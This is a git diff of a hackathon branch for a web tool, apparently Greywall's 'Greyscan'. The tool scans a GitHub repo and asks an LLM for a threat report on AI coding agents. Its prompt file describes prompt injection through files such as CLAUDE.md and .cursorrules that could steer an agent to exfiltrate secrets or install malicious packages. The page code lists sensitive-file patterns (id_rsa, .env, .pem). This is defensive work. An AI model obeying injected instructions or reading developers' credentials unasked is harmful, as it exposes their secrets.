Compare commits
48 Commits
df393e623a
...
hackathon
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
502a1f0a81 | ||
|
|
7e34db2edb | ||
|
|
4964162e5d | ||
|
|
f4c794790c | ||
|
|
232f69f847 | ||
|
|
8ec166590d | ||
|
|
3fd6d63fa3 | ||
|
|
a45888a89b | ||
|
|
1d814a74e3 | ||
|
|
a4a6dd97c9 | ||
|
|
803c7523a5 | ||
|
|
82e4bf0bda | ||
|
|
7a3fd57314 | ||
|
|
1de053a066 | ||
|
|
1205191348 | ||
|
|
477e7dfb4f | ||
|
|
bc21fa97ad | ||
|
|
0ee456ad58 | ||
|
|
5726d2d210 | ||
|
|
37716003bf | ||
|
|
cf2eb30a04 | ||
|
|
bb0ea229e4 | ||
|
|
616b3139e0 | ||
|
|
62af4ed8b9 | ||
|
|
697c09457c | ||
|
|
07a507fb61 | ||
|
|
00cb727222 | ||
|
|
adea1fec5b | ||
|
|
1c89ab47fc | ||
|
|
085305676b | ||
|
|
f28038e141 | ||
|
|
cacaddaca5 | ||
|
|
696c02bd68 | ||
| 2a5d83e086 | |||
| cd2bc6f3e4 | |||
|
|
e42e24d0b2 | ||
|
|
07ce7484fe | ||
|
|
4129bf8dac | ||
|
|
127eb8030e | ||
|
|
90f23405e8 | ||
|
|
5b562c222f | ||
|
|
6616642134 | ||
|
|
0933c9d17e | ||
|
|
61d94b0f75 | ||
|
|
17302d21f1 | ||
|
|
d92b3fd0cc | ||
|
|
7197de1ef2 | ||
|
|
a5af681b9e |
5
.gitignore
vendored
@@ -5,3 +5,8 @@ out/
|
||||
*.tsbuildinfo
|
||||
next-env.d.ts
|
||||
.vercel
|
||||
.env
|
||||
greywall-logo-negative.png
|
||||
greywall-logo-positive.png
|
||||
terminal.png
|
||||
youtube-thumbnail.png
|
||||
95
app/api/analyze/prompt.txt
Normal file
@@ -0,0 +1,95 @@
|
||||
You are a security analyst who deeply understands how AI coding agents behave. Your job is to generate a realistic threat report showing what an AI agent would attempt on a developer's machine when working on this repo.
|
||||
|
||||
AI agents run as the user's own process with full access to their machine. The repo determines what the agent is motivated to do, but the attack surface is the developer's entire system. The agent doesn't stay within the repo boundary.
|
||||
|
||||
Your findings must follow this logic: REPO CONTENTS → AGENT MOTIVATION → ACTION ON MACHINE.
|
||||
|
||||
There are TWO categories of threats to analyze:
|
||||
|
||||
CATEGORY 1: WHAT THE AGENT WOULD ACCESS (based on repo contents)
|
||||
|
||||
Examples of correct causal chains:
|
||||
- Repo has aws-sdk in package.json → agent needs AWS context → reads ~/.aws/credentials
|
||||
- Repo has Dockerfile + deploy scripts → agent needs SSH for deployment → reads ~/.ssh/config
|
||||
- Repo has .env.example with STRIPE_KEY → agent wants to test integration → reads .env, calls Stripe API
|
||||
- Repo has database migrations + pg dependency → agent needs DB connection → reads .env for DATABASE_URL
|
||||
|
||||
Examples of WRONG findings (no causal link):
|
||||
- Static HTML repo → "reads SSH private keys" (no deployment, no motivation)
|
||||
- Repo with no cloud deps → "reads ~/.aws/credentials" (nothing uses AWS)
|
||||
- Simple library → "calls external APIs" (which APIs? there are none in the deps)
|
||||
|
||||
CATEGORY 2: WHAT IN THIS REPO COULD MANIPULATE THE AGENT (prompt injection surface)
|
||||
|
||||
This is the sharper threat. Look for files that influence agent behavior:
|
||||
- CLAUDE.md, .claude/, .claude/commands/, .claude/agents/ — Claude Code instruction files
|
||||
- .cursorrules, .cursor/ — Cursor instruction files
|
||||
- .github/copilot-instructions.md — Copilot instructions
|
||||
- AGENTS.md, .mcp.json — agent config files
|
||||
- .aider.conf.yml — Aider config
|
||||
- CONTRIBUTING.md, CONVENTIONS.md — files agents read for project context
|
||||
- .windsurfrules, .boltrules, .clinerules — other agent instruction files
|
||||
- Any markdown file in the repo root that an agent would read for context
|
||||
|
||||
These files are a prompt injection surface. A malicious contributor, compromised dependency, or supply chain attack could modify these files to:
|
||||
- Instruct the agent to exfiltrate secrets to an attacker-controlled URL
|
||||
- Tell the agent to modify code in subtle, harmful ways
|
||||
- Redirect the agent to install malicious packages
|
||||
- Override safety behaviors the agent would normally follow
|
||||
- Instruct the agent to ignore security warnings
|
||||
|
||||
IMPORTANT: A sandbox like Greywall does NOT prevent prompt injection. The agent will still read these files and follow the instructions. What a sandbox does is contain the blast radius: even if the agent is hijacked, it can't exfiltrate data (network blocked), can't read secrets (filesystem denied), can't run destructive commands (command blocked). Prompt injection findings should reflect this nuance: the risk is that the agent's behavior is manipulated, and without a sandbox the manipulated agent has unrestricted access.
|
||||
|
||||
If agent instruction files exist in this repo, this is a SIGNIFICANT finding. The more instruction files present, the larger the attack surface.
|
||||
|
||||
SEVERITY CONTEXT:
|
||||
- Documentation sites, package registries, and CDN URLs in code are LOW severity, not high. Agents fetching docs from readthedocs.io or downloading from npmjs.org is normal behavior.
|
||||
- Reading .env files is only concerning if the repo actually has .env files or .env.example files
|
||||
- Network calls are only concerning if there are actual API keys/credentials the agent could discover
|
||||
- Supply chain risk (npm install, pip install) severity scales with number of dependencies. 3 deps = low. 300 deps = high.
|
||||
- Prompt injection via agent instruction files is HIGH/CRITICAL severity because it can hijack all other agent behavior
|
||||
|
||||
Given the repository data below, generate a threat report. Every finding MUST have a clear causal chain from the repo's actual contents to the agent's action.
|
||||
|
||||
Repository: {{owner}}/{{repo}}
|
||||
Files (sample): {{files}}
|
||||
Stack detected: {{stack}}
|
||||
Dependencies: {{dependencies}}
|
||||
Sensitive files found: {{sensitiveFiles}}
|
||||
Config files found: {{configFiles}}
|
||||
Agent instruction files found: {{agentInstructionFiles}}
|
||||
|
||||
README (for understanding what the project does):
|
||||
{{readme}}
|
||||
|
||||
Use the README to understand the project's purpose, architecture, and what services it connects to. This should inform which findings are plausible. For example, if the README describes a CLI tool that talks to a specific API, that API is a valid network finding. If the README says it's a static documentation site, don't generate cloud credential findings.
|
||||
|
||||
Respond with ONLY valid JSON (no markdown, no code fences, no explanation):
|
||||
{
|
||||
"riskScore": <number 0-100>,
|
||||
"riskLevel": "LOW" | "MEDIUM" | "HIGH" | "CRITICAL",
|
||||
"summary": "<2 sentence summary — what the agent would do and why, grounded in this repo's actual contents>",
|
||||
"findings": [
|
||||
{
|
||||
"type": "credential_read" | "network_call" | "directory_access" | "command_execution" | "prompt_injection",
|
||||
"severity": "low" | "medium" | "high" | "critical",
|
||||
"title": "<short, specific title>",
|
||||
"description": "<1-2 sentences: what the agent would do, WHY this repo motivates it (reference specific files/deps), and the real-world damage>",
|
||||
"command": "<the exact command or action>",
|
||||
"note": "<ONLY for prompt_injection type: a short note explaining that a sandbox doesn't prevent the injection but blocks the resulting actions. Omit this field for all other finding types.>"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
Rules:
|
||||
- Generate 4-8 findings depending on actual repo complexity. Simple repos get fewer findings.
|
||||
- Every finding MUST have a causal link: something in the repo motivates the action
|
||||
- If agent instruction files exist, ALWAYS include a prompt_injection finding explaining the risk
|
||||
- If the repo is simple (static site, small library, no cloud deps, no secrets, no agent files), score LOW (10-30) with 3-4 findings
|
||||
- If the repo has config/deps but no secrets, score MEDIUM (30-60)
|
||||
- If the repo has .env files OR cloud SDK dependencies, score HIGH (60-80)
|
||||
- If the repo has .env files AND cloud SDKs AND deployment infra, score CRITICAL (80+)
|
||||
- Agent instruction files bump the score by 10-15 points due to prompt injection risk
|
||||
- Do NOT inflate scores. Be honest. A static HTML repo is low risk.
|
||||
- Do NOT flag documentation sites (readthedocs, docs.python.org) or package registries as high-severity network threats. These are normal, expected agent behavior.
|
||||
- Commands must reference actual file paths from the repo tree
|
||||
79
app/api/analyze/route.ts
Normal file
@@ -0,0 +1,79 @@
|
||||
import { NextRequest, NextResponse } from 'next/server'
|
||||
import { readFileSync } from 'fs'
|
||||
import { join } from 'path'
|
||||
|
||||
const promptTemplate = readFileSync(join(process.cwd(), 'app/api/analyze/prompt.txt'), 'utf-8')
|
||||
|
||||
// In-memory cache: persists for the lifetime of the server process
|
||||
const cache = new Map<string, { data: any; timestamp: number }>()
|
||||
const CACHE_TTL = 1000 * 60 * 60 * 24 // 24 hours
|
||||
|
||||
export async function POST(req: NextRequest) {
|
||||
try {
|
||||
const { owner, repo, files, stack, dependencies, sensitiveFiles, configFiles, agentInstructionFiles, readme } = await req.json()
|
||||
const baseUrl = process.env.SHARED_LLM_BASE_URL
|
||||
const apiKey = process.env.SHARED_LLM_API_KEY
|
||||
|
||||
if (!baseUrl || !apiKey) {
|
||||
return NextResponse.json({ error: 'LLM service not configured' }, { status: 500 })
|
||||
}
|
||||
|
||||
// Check cache
|
||||
const cacheKey = `${owner}/${repo}`.toLowerCase()
|
||||
const cached = cache.get(cacheKey)
|
||||
if (cached && Date.now() - cached.timestamp < CACHE_TTL) {
|
||||
return NextResponse.json(cached.data)
|
||||
}
|
||||
|
||||
const prompt = promptTemplate
|
||||
.replace('{{owner}}', owner)
|
||||
.replace('{{repo}}', repo)
|
||||
.replace('{{files}}', files.slice(0, 80).join(', '))
|
||||
.replace('{{stack}}', stack.join(', ') || 'Unknown')
|
||||
.replace('{{dependencies}}', Object.keys(dependencies || {}).slice(0, 40).join(', ') || 'None detected')
|
||||
.replace('{{sensitiveFiles}}', sensitiveFiles.join(', ') || 'None')
|
||||
.replace('{{configFiles}}', configFiles.join(', ') || 'None')
|
||||
.replace('{{agentInstructionFiles}}', (agentInstructionFiles || []).join(', ') || 'None')
|
||||
.replace('{{readme}}', (readme || '').slice(0, 8000) || 'No README found')
|
||||
|
||||
let endpoint = baseUrl.replace(/\/+$/, '')
|
||||
endpoint = endpoint.replace(/\/v1$/, '')
|
||||
endpoint += '/v1/chat/completions'
|
||||
|
||||
const llmRes = await fetch(endpoint, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${apiKey}` },
|
||||
body: JSON.stringify({
|
||||
model: process.env.SHARED_LLM_MODEL || 'Kimi-K2.5-sandbox',
|
||||
messages: [{ role: 'user', content: prompt }],
|
||||
max_tokens: 8000,
|
||||
temperature: 0.7,
|
||||
}),
|
||||
})
|
||||
|
||||
if (!llmRes.ok) {
|
||||
console.error('LLM error:', await llmRes.text())
|
||||
return NextResponse.json({ error: 'Failed to generate report' }, { status: 500 })
|
||||
}
|
||||
|
||||
const data = await llmRes.json()
|
||||
const msg = data.choices?.[0]?.message
|
||||
const content = msg?.content || msg?.reasoning_content || ''
|
||||
if (!content) {
|
||||
console.error('LLM returned empty content:', JSON.stringify(data).slice(0, 500))
|
||||
return NextResponse.json({ error: 'LLM returned empty response' }, { status: 500 })
|
||||
}
|
||||
const jsonMatch = content.match(/\{[\s\S]*\}/)
|
||||
if (!jsonMatch) {
|
||||
console.error('No JSON found in LLM response:', content.slice(0, 500))
|
||||
return NextResponse.json({ error: 'Failed to parse report' }, { status: 500 })
|
||||
}
|
||||
|
||||
const report = JSON.parse(jsonMatch[0])
|
||||
cache.set(cacheKey, { data: report, timestamp: Date.now() })
|
||||
return NextResponse.json(report)
|
||||
} catch (e: any) {
|
||||
console.error('Analyze error:', e)
|
||||
return NextResponse.json({ error: e.message || 'Analysis failed' }, { status: 500 })
|
||||
}
|
||||
}
|
||||
@@ -49,8 +49,8 @@
|
||||
}
|
||||
|
||||
@theme inline {
|
||||
--font-sans: 'Inter', ui-sans-serif, system-ui, sans-serif;
|
||||
--font-serif: 'Source Serif 4', 'Source Serif Pro', Georgia, serif;
|
||||
--font-sans: var(--font-inter), 'Inter', ui-sans-serif, system-ui, sans-serif;
|
||||
--font-serif: var(--font-source-serif), 'Source Serif 4', 'Source Serif Pro', Georgia, serif;
|
||||
--font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||
|
||||
--color-background: rgb(var(--background));
|
||||
@@ -155,6 +155,12 @@ section {
|
||||
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
|
||||
}
|
||||
|
||||
/* Carousel progress bar */
|
||||
@keyframes progress {
|
||||
from { width: 0; }
|
||||
to { width: 100%; }
|
||||
}
|
||||
|
||||
/* Fade in animation for sections */
|
||||
@keyframes fade-up {
|
||||
from {
|
||||
@@ -190,3 +196,79 @@ section {
|
||||
.scrollbar-hide::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* ─── Aurora gradient background (Stripe-inspired) ─── */
|
||||
@keyframes aurora {
|
||||
0%, 100% { background-position: 0% 50%, 100% 50%, 50% 100%; }
|
||||
33% { background-position: 100% 0%, 0% 100%, 50% 50%; }
|
||||
66% { background-position: 50% 100%, 50% 0%, 0% 50%; }
|
||||
}
|
||||
|
||||
.aurora-bg {
|
||||
background:
|
||||
radial-gradient(ellipse at 20% 50%, rgba(217,94,42,0.12) 0%, transparent 50%),
|
||||
radial-gradient(ellipse at 80% 20%, rgba(217,94,42,0.06) 0%, transparent 50%),
|
||||
radial-gradient(ellipse at 50% 80%, rgba(249,249,247,0.03) 0%, transparent 50%);
|
||||
background-size: 200% 200%, 200% 200%, 200% 200%;
|
||||
animation: aurora 20s ease-in-out infinite;
|
||||
}
|
||||
|
||||
/* ─── Gradient text shimmer ─── */
|
||||
@keyframes gradient-shift {
|
||||
0%, 100% { background-position: 0% center; }
|
||||
50% { background-position: 200% center; }
|
||||
}
|
||||
|
||||
.text-shimmer {
|
||||
background: linear-gradient(90deg, rgb(var(--foreground)) 0%, rgb(var(--primary)) 40%, rgb(var(--foreground)) 80%);
|
||||
background-size: 200% auto;
|
||||
-webkit-background-clip: text;
|
||||
background-clip: text;
|
||||
-webkit-text-fill-color: transparent;
|
||||
animation: gradient-shift 6s ease infinite;
|
||||
}
|
||||
|
||||
/* ─── Dot grid wave (Linear-inspired) ─── */
|
||||
@keyframes dot-pulse {
|
||||
0%, 100% { opacity: 0.08; transform: scale(1); }
|
||||
50% { opacity: 0.5; transform: scale(1.3); }
|
||||
}
|
||||
|
||||
/* ─── Floating animation ─── */
|
||||
@keyframes float {
|
||||
0%, 100% { transform: translateY(0px); }
|
||||
50% { transform: translateY(-8px); }
|
||||
}
|
||||
|
||||
.animate-float {
|
||||
animation: float 4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
/* ─── Card spotlight hover (mouse-tracking glow) ─── */
|
||||
.card-spotlight {
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
.card-spotlight::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(600px circle at var(--mouse-x, 50%) var(--mouse-y, 50%), rgba(217,94,42,0.06), transparent 40%);
|
||||
opacity: 0;
|
||||
transition: opacity 0.3s;
|
||||
pointer-events: none;
|
||||
z-index: 1;
|
||||
}
|
||||
.card-spotlight:hover::before {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
/* ─── Marquee scroll ─── */
|
||||
@keyframes marquee {
|
||||
from { transform: translateX(0); }
|
||||
to { transform: translateX(-50%); }
|
||||
}
|
||||
|
||||
.animate-marquee {
|
||||
animation: marquee 30s linear infinite;
|
||||
}
|
||||
|
||||
37
app/greyscan/layout.tsx
Normal file
@@ -0,0 +1,37 @@
|
||||
import type { Metadata } from 'next'
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: 'Greyscan | Greywall',
|
||||
description: 'Scan your repo and see what an unrestricted AI agent would attempt. Powered by Greywall.',
|
||||
alternates: {
|
||||
canonical: 'https://greywall.io/greyscan',
|
||||
},
|
||||
openGraph: {
|
||||
title: 'Greyscan | Greywall',
|
||||
description: 'Scan your repo and see what an unrestricted AI agent would attempt. Powered by Greywall.',
|
||||
url: 'https://greywall.io/greyscan',
|
||||
siteName: 'Greywall',
|
||||
type: 'website',
|
||||
},
|
||||
}
|
||||
|
||||
const breadcrumbJsonLd = {
|
||||
'@context': 'https://schema.org',
|
||||
'@type': 'BreadcrumbList',
|
||||
itemListElement: [
|
||||
{ '@type': 'ListItem', position: 1, name: 'Greywall', item: 'https://greywall.io' },
|
||||
{ '@type': 'ListItem', position: 2, name: 'Greyscan', item: 'https://greywall.io/greyscan' },
|
||||
],
|
||||
}
|
||||
|
||||
export default function ExposureLayout({ children }: { children: React.ReactNode }) {
|
||||
return (
|
||||
<>
|
||||
<script
|
||||
type="application/ld+json"
|
||||
dangerouslySetInnerHTML={{ __html: JSON.stringify(breadcrumbJsonLd) }}
|
||||
/>
|
||||
{children}
|
||||
</>
|
||||
)
|
||||
}
|
||||
651
app/greyscan/page.tsx
Normal file
@@ -0,0 +1,651 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef } from 'react'
|
||||
import {
|
||||
Shield, AlertTriangle, Globe, FolderOpen, Terminal,
|
||||
ArrowLeft, Copy, Check, ArrowRight, Lock, Eye, MessageSquareWarning,
|
||||
} from 'lucide-react'
|
||||
|
||||
// --- Types ---
|
||||
|
||||
type Phase = 'input' | 'scanning' | 'report'
|
||||
|
||||
interface ScanLine {
|
||||
id: number
|
||||
text: string
|
||||
type: 'info' | 'warning' | 'success' | 'error'
|
||||
}
|
||||
|
||||
interface Finding {
|
||||
type: string
|
||||
severity: string
|
||||
title: string
|
||||
description: string
|
||||
command: string
|
||||
note?: string
|
||||
}
|
||||
|
||||
interface ThreatReport {
|
||||
riskScore: number
|
||||
riskLevel: string
|
||||
summary: string
|
||||
findings: Finding[]
|
||||
}
|
||||
|
||||
// --- Constants ---
|
||||
|
||||
const SENSITIVE_PATTERNS = [
|
||||
'.env', '.env.local', '.env.production', '.env.development',
|
||||
'.env.example', '.env.sample', '.env.test',
|
||||
'secrets.yml', 'secrets.yaml', 'credentials.json',
|
||||
'serviceAccountKey.json', '.npmrc', '.pypirc',
|
||||
'id_rsa', '.pem', '.key', '.p12',
|
||||
'docker-compose.yml', 'docker-compose.yaml', 'Dockerfile',
|
||||
'.htpasswd',
|
||||
]
|
||||
|
||||
const CONFIG_PATTERNS = [
|
||||
'config/', '.github/', '.circleci/', '.gitlab-ci.yml',
|
||||
'webpack.config', 'vite.config', 'next.config', 'nuxt.config',
|
||||
'tsconfig.json', 'nginx.conf', 'Procfile', 'vercel.json',
|
||||
'netlify.toml', 'terraform/', 'k8s/', '.aws/', 'Makefile',
|
||||
]
|
||||
|
||||
const AGENT_INSTRUCTION_PATTERNS = [
|
||||
'CLAUDE.md', '.claude/', '.claude/commands/', '.claude/agents/',
|
||||
'.cursorrules', '.cursorignore', '.cursor/',
|
||||
'.github/copilot-instructions.md',
|
||||
'AGENTS.md', '.mcp.json', 'mcp.json',
|
||||
'.aider.conf.yml', '.aiderignore',
|
||||
'CONVENTIONS.md', 'CONTRIBUTING.md',
|
||||
'.windsurfrules', '.boltrules', '.clinerules',
|
||||
]
|
||||
|
||||
const STACK_DETECT: [string, (f: string[]) => boolean][] = [
|
||||
['Node.js', f => f.some(x => x === 'package.json')],
|
||||
['TypeScript', f => f.some(x => x === 'tsconfig.json' || x.endsWith('.ts') || x.endsWith('.tsx'))],
|
||||
['Python', f => f.some(x => ['requirements.txt', 'setup.py', 'pyproject.toml', 'Pipfile'].includes(x))],
|
||||
['Go', f => f.some(x => x === 'go.mod')],
|
||||
['Rust', f => f.some(x => x === 'Cargo.toml')],
|
||||
['Ruby', f => f.some(x => x === 'Gemfile')],
|
||||
['Java', f => f.some(x => x === 'pom.xml' || x === 'build.gradle')],
|
||||
['React', f => f.some(x => x.endsWith('.jsx') || x.endsWith('.tsx'))],
|
||||
['Next.js', f => f.some(x => x.startsWith('next.config'))],
|
||||
['Django', f => f.some(x => x === 'manage.py')],
|
||||
['Docker', f => f.some(x => x === 'Dockerfile' || x.startsWith('docker-compose'))],
|
||||
['Terraform', f => f.some(x => x.endsWith('.tf'))],
|
||||
]
|
||||
|
||||
// --- Helpers ---
|
||||
|
||||
function parseGitHubUrl(url: string) {
|
||||
const cleaned = url.trim().replace(/\.git$/, '').replace(/\/$/, '')
|
||||
const m = cleaned.match(/(?:(?:https?:\/\/)?github\.com\/)?([^\/\s]+)\/([^\/\s]+)/)
|
||||
if (!m) throw new Error('Invalid GitHub URL. Use format: github.com/owner/repo')
|
||||
return { owner: m[1], repo: m[2] }
|
||||
}
|
||||
|
||||
const delay = (ms: number) => new Promise(r => setTimeout(r, ms))
|
||||
|
||||
async function fetchTree(owner: string, repo: string): Promise<{ files: string[]; truncated: boolean }> {
|
||||
const meta = await fetch(`https://api.github.com/repos/${owner}/${repo}`)
|
||||
if (meta.status === 404) throw new Error('Repository not found. Is it public?')
|
||||
if (meta.status === 403) throw new Error('GitHub rate limit hit. Try again in a minute.')
|
||||
if (!meta.ok) throw new Error(`GitHub error: ${meta.status}`)
|
||||
const { default_branch } = await meta.json()
|
||||
|
||||
const tree = await fetch(
|
||||
`https://api.github.com/repos/${owner}/${repo}/git/trees/${default_branch}?recursive=1`
|
||||
)
|
||||
if (!tree.ok) throw new Error('Failed to fetch repo tree')
|
||||
const data = await tree.json()
|
||||
const files = (data.tree || [])
|
||||
.filter((n: any) => n.type === 'blob')
|
||||
.map((n: any) => n.path)
|
||||
return { files, truncated: !!data.truncated }
|
||||
}
|
||||
|
||||
async function fetchFile(owner: string, repo: string, path: string): Promise<string | null> {
|
||||
try {
|
||||
const res = await fetch(`https://api.github.com/repos/${owner}/${repo}/contents/${path}`)
|
||||
if (!res.ok) return null
|
||||
const { content, encoding } = await res.json()
|
||||
if (encoding === 'base64') return atob(content.replace(/\n/g, ''))
|
||||
return null
|
||||
} catch { return null }
|
||||
}
|
||||
|
||||
function severityColor(s: string) {
|
||||
if (s === 'critical') return 'text-red-400'
|
||||
if (s === 'high') return 'text-primary'
|
||||
if (s === 'medium') return 'text-yellow-400'
|
||||
return 'text-green-400'
|
||||
}
|
||||
|
||||
function severityBg(s: string) {
|
||||
if (s === 'critical') return 'bg-red-400/10 border border-red-400/20'
|
||||
if (s === 'high') return 'bg-primary/10 border border-primary/20'
|
||||
if (s === 'medium') return 'bg-yellow-400/10 border border-yellow-400/20'
|
||||
return 'bg-green-400/10 border border-green-400/20'
|
||||
}
|
||||
|
||||
function typeIcon(t: string) {
|
||||
if (t === 'credential_read') return <Lock className="h-4 w-4" />
|
||||
if (t === 'network_call') return <Globe className="h-4 w-4" />
|
||||
if (t === 'directory_access') return <FolderOpen className="h-4 w-4" />
|
||||
if (t === 'command_execution') return <Terminal className="h-4 w-4" />
|
||||
if (t === 'prompt_injection') return <MessageSquareWarning className="h-4 w-4" />
|
||||
return <Eye className="h-4 w-4" />
|
||||
}
|
||||
|
||||
function riskColor(level: string) {
|
||||
if (level === 'CRITICAL') return '#ef4444'
|
||||
if (level === 'HIGH') return '#D95E2A'
|
||||
if (level === 'MEDIUM') return '#eab308'
|
||||
return '#22c55e'
|
||||
}
|
||||
|
||||
// --- Component ---
|
||||
|
||||
export default function GamePage() {
|
||||
const [phase, setPhase] = useState<Phase>('input')
|
||||
const [url, setUrl] = useState('')
|
||||
const [lines, setLines] = useState<ScanLine[]>([])
|
||||
const [report, setReport] = useState<ThreatReport | null>(null)
|
||||
const [repoName, setRepoName] = useState('')
|
||||
const [detectedStack, setDetectedStack] = useState<string[]>([])
|
||||
const [error, setError] = useState('')
|
||||
const [copied, setCopied] = useState(false)
|
||||
const [animatedScore, setAnimatedScore] = useState(0)
|
||||
const termRef = useRef<HTMLDivElement>(null)
|
||||
const lineId = useRef(0)
|
||||
const hasAutoScanned = useRef(false)
|
||||
|
||||
function addLine(text: string, type: ScanLine['type']) {
|
||||
lineId.current++
|
||||
setLines(prev => [...prev, { id: lineId.current, text, type }])
|
||||
}
|
||||
|
||||
// Auto-scroll terminal
|
||||
useEffect(() => {
|
||||
if (termRef.current) termRef.current.scrollTop = termRef.current.scrollHeight
|
||||
}, [lines])
|
||||
|
||||
// Auto-scan from URL param
|
||||
useEffect(() => {
|
||||
if (hasAutoScanned.current) return
|
||||
const params = new URLSearchParams(window.location.search)
|
||||
const repoParam = params.get('repo')
|
||||
if (repoParam) {
|
||||
hasAutoScanned.current = true
|
||||
const fullUrl = repoParam.includes('github.com') ? repoParam : `https://github.com/${repoParam}`
|
||||
setUrl(fullUrl)
|
||||
scan(fullUrl)
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [])
|
||||
|
||||
// Animate score counter
|
||||
useEffect(() => {
|
||||
if (!report) return
|
||||
const target = report.riskScore
|
||||
const start = Date.now()
|
||||
const duration = 1500
|
||||
function tick() {
|
||||
const progress = Math.min((Date.now() - start) / duration, 1)
|
||||
setAnimatedScore(Math.round(target * (1 - Math.pow(1 - progress, 3))))
|
||||
if (progress < 1) requestAnimationFrame(tick)
|
||||
}
|
||||
requestAnimationFrame(tick)
|
||||
}, [report])
|
||||
|
||||
async function scan(inputUrl?: string) {
|
||||
const targetUrl = inputUrl || url
|
||||
if (!targetUrl.trim()) return
|
||||
|
||||
setPhase('scanning')
|
||||
setLines([])
|
||||
setError('')
|
||||
setReport(null)
|
||||
lineId.current = 0
|
||||
|
||||
try {
|
||||
const { owner, repo } = parseGitHubUrl(targetUrl)
|
||||
setRepoName(`${owner}/${repo}`)
|
||||
window.history.replaceState(null, '', `${window.location.pathname}?repo=${owner}/${repo}`)
|
||||
|
||||
addLine(`Connecting to github.com/${owner}/${repo}...`, 'info')
|
||||
await delay(400)
|
||||
|
||||
addLine('Fetching repository tree...', 'info')
|
||||
const { files, truncated } = await fetchTree(owner, repo)
|
||||
const dirCount = new Set(files.map(f => f.split('/').slice(0, -1).join('/'))).size
|
||||
addLine(`Found ${files.length.toLocaleString()} files across ${dirCount} directories`, 'success')
|
||||
if (truncated) addLine('Large repo — tree was truncated by GitHub', 'info')
|
||||
await delay(300)
|
||||
|
||||
// Detect stack
|
||||
addLine('Detecting stack & dependencies...', 'info')
|
||||
await delay(200)
|
||||
const stack = STACK_DETECT.filter(([, test]) => test(files)).map(([name]) => name)
|
||||
setDetectedStack(stack)
|
||||
addLine(`Stack: ${stack.join(' \u00b7 ') || 'Unknown'}`, 'success')
|
||||
await delay(300)
|
||||
|
||||
// Sensitive files
|
||||
addLine('Scanning for sensitive files & secrets...', 'info')
|
||||
await delay(200)
|
||||
const sensitive = files.filter(f => {
|
||||
const name = f.split('/').pop() || f
|
||||
return SENSITIVE_PATTERNS.some(p => name === p || name.startsWith(p + '.') || f.includes('/' + p))
|
||||
})
|
||||
for (const f of sensitive.slice(0, 12)) {
|
||||
addLine(f, 'warning')
|
||||
await delay(100)
|
||||
}
|
||||
if (sensitive.length === 0) addLine('No obvious sensitive files found', 'success')
|
||||
if (sensitive.length > 12) addLine(`...and ${sensitive.length - 12} more`, 'warning')
|
||||
await delay(200)
|
||||
|
||||
// Config files
|
||||
const configs = files.filter(f => CONFIG_PATTERNS.some(p => f.includes(p))).slice(0, 15)
|
||||
|
||||
// Agent instruction files (prompt injection surface)
|
||||
addLine('Scanning for agent instruction files...', 'info')
|
||||
await delay(200)
|
||||
const agentFiles = files.filter(f => {
|
||||
const name = f.split('/').pop() || f
|
||||
return AGENT_INSTRUCTION_PATTERNS.some(p => name === p || f.includes(p))
|
||||
})
|
||||
for (const f of agentFiles.slice(0, 8)) {
|
||||
addLine(f, 'warning')
|
||||
await delay(100)
|
||||
}
|
||||
if (agentFiles.length === 0) addLine('No agent instruction files found', 'success')
|
||||
await delay(200)
|
||||
|
||||
// Fetch dependencies
|
||||
addLine('Analyzing dependencies...', 'info')
|
||||
await delay(200)
|
||||
let deps: Record<string, string> = {}
|
||||
const pkgRaw = await fetchFile(owner, repo, 'package.json')
|
||||
if (pkgRaw) {
|
||||
try {
|
||||
const pkg = JSON.parse(pkgRaw)
|
||||
deps = { ...(pkg.dependencies || {}), ...(pkg.devDependencies || {}) }
|
||||
} catch { /* ignore parse errors */ }
|
||||
} else {
|
||||
const reqs = await fetchFile(owner, repo, 'requirements.txt')
|
||||
if (reqs) {
|
||||
reqs.split('\n').forEach(l => {
|
||||
const m = l.trim().match(/^([a-zA-Z0-9_-]+)/)
|
||||
if (m) deps[m[1]] = '*'
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Highlight interesting deps
|
||||
const interesting = Object.keys(deps).filter(d =>
|
||||
/stripe|aws|openai|anthropic|firebase|supabase|prisma|mongoose|pg|mysql|redis|twilio|sendgrid|auth0|passport|jwt|bcrypt|crypto|axios|ssh|docker|kubernetes|helm|vault|sentry/i.test(d)
|
||||
)
|
||||
for (const d of interesting.slice(0, 8)) {
|
||||
addLine(`${d} ${deps[d] !== '*' ? deps[d] : ''}`, 'warning')
|
||||
await delay(80)
|
||||
}
|
||||
if (Object.keys(deps).length > 0) {
|
||||
addLine(`${Object.keys(deps).length} total dependencies`, 'success')
|
||||
}
|
||||
await delay(300)
|
||||
|
||||
// Fetch README for context
|
||||
addLine('Reading README...', 'info')
|
||||
const readmeRaw = await fetchFile(owner, repo, 'README.md') || await fetchFile(owner, repo, 'readme.md') || ''
|
||||
const readme = readmeRaw.slice(0, 8000)
|
||||
if (readme) addLine('README loaded', 'success')
|
||||
else addLine('No README found', 'info')
|
||||
await delay(200)
|
||||
|
||||
// Generate report via LLM
|
||||
addLine('Generating agent threat report...', 'info')
|
||||
const res = await fetch('/api/analyze', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ owner, repo, files, stack, dependencies: deps, sensitiveFiles: sensitive, configFiles: configs, agentInstructionFiles: agentFiles, readme }),
|
||||
})
|
||||
|
||||
if (!res.ok) {
|
||||
const data = await res.json().catch(() => ({}))
|
||||
throw new Error(data.error || 'Failed to generate report')
|
||||
}
|
||||
|
||||
const reportData = await res.json()
|
||||
addLine('Report complete.', 'success')
|
||||
await delay(600)
|
||||
|
||||
setReport(reportData)
|
||||
setPhase('report')
|
||||
} catch (e: any) {
|
||||
